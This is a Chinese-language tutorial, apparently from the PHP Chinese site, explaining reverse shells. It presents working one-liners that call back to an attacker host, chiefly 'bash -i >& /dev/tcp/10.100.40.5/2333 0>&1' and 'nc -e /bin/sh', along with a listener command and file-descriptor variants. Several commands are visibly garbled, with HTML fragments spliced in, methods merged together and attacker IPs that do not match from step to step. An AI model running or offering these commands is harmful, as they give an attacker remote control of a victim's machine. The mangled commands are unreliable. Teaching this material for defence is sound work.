*嚴格聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。
反彈shell
,就是控制端監聽在某TCP/UDP
端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。
通俗點說,反彈shell
就是一種反向鏈接,與正向的ssh
等不同,它是在對方電腦執行命令連接到我方的攻擊模式,而這種攻擊模式必須搭配遠端執行指令漏洞來使用。
為什麼要反彈shell
? 通常用來被指控端因防火牆受限、權限不足、連接埠被佔用等情形。
假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠端桌面,web
服務,ssh
,telnet
等等,都是正向連線。
那麼什麼情況下正向連線不太好用了呢:
1.某客戶機中了你的網馬,但是它在區域網路內,你直接連接不了。
2.它的
ip
會動態改變,你不能持續控制。3.由於防火牆等限制,對方機器只能傳送請求,不能接收請求。
4.對於病毒,木馬,受害者什麼時候能中招,對方的網路環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程式主動連接,才是上策。
那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell
。
我們用bash
遠端程式碼執行漏洞實例來了解一下他的原理
攻擊端:10.100. 40.5 受害機:192.168.197.136
首先我們需要在攻擊端去監聽端口,透過這個端口來接收受害機反彈的shell
#在攻擊端輸入指令nc -l 2333
然後在受害機執行指令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1##我們就發現,在我們的攻擊端已經成功出現了我們的受害端的
shell#,在我們的攻擊端就能對受害端來進行下一步操作
例如: 0x02 原理#2.1 反彈shell的命令原理(1)
bash -i
bash是
linux的一個比較常見的
shell,是許多
Linux發行版的預設
Shell。
-i這個參數的意思是產生互動的
shell
./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個檔案是特別特殊的,實際上可以將其看成一個裝置(
Linux下一切皆檔案),其實如果你存取這個檔案的位置他是不存在的,如下圖:
socket通訊
/dev/tcp這個檔案中
2333端口,並且在攻擊端輸入內容回車就會出現在受害端。
shell的輸出重新導向到攻擊機上;
bash -i > /dev/tcp 10.100.40.5/2333然後我們發現無論輸入什麼指令都不會有回顯,回顯出現在了攻擊端標準輸出被定向到了攻擊端。
这样只是回显而已,并没有办法在攻击端直接执行命令。
(6)所以我们还需要将攻击者输入的指令输入给受害者的bash
:
bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="反彈shell是什麼意思"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="反彈shell是什麼意思"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
以上是反彈shell是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!